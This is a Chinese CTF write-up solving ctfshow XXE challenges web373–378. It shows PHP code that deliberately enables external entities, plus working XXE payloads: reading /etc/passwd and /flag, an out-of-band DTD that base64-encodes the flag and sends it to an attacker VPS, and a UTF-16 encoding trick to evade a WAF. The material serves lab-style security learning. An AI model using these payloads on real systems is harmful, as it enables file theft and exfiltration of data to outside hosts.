[WP/ctfshow/XXE]ctfshow_XXE_web373-378

外部实体注入

WEB373

// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
  	// 加载xml实体，参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  	// 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
  	// 节点嵌套，确定为了ctfshow元素，避免与变量名混淆，这个子元素名必须为ctfshow
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

解题

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE Docc [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<www>
    <ctfshow>
    	&file;
    </ctfshow>
</www>

WEB374-376

过滤<?xml ?>，此项解析时可不包括。

XXE.dtd

第一行伪协议读文件，第二行实体参数其值为实体b。

紧接着进行实体替换file->a->get->b

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % a "<!ENTITY &#x25; b SYSTEM 'http://[VPS-IP]/XXE.php?d=%file;'>">
%a;%b;

XML文档

XML文档的实体参数触发dtd中的系列读文件。

<!DOCTYPE note[
<!ENTITY  % c SYSTEM "http://[VPS-IP]/XXE.dtd">
%c;
]>

接受脚本

可以接受参数d和读写文件即可。

WEB377

WAF处理的字符集往往是有限的，我们可以使用一些少用的字符集来对发送的Payload进行编码。

正则表达式识别的字符集往往单一。

import requests

url = 'http://123456-1231231.challenge.ctf.show:8080/'
payload = """<!DOCTYPE note[
<!ENTITY  % call SYSTEM "http://[VPS-IP]/XXE.dtd">
%call;
]>
"""
payload = payload.encode('utf-16')
print(requests.post(url, data=payload))

WEB378

同[NCTF2019]Fake XML cookbook

<!DOCTYPE note[
<!ENTITY  file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123456</password></user>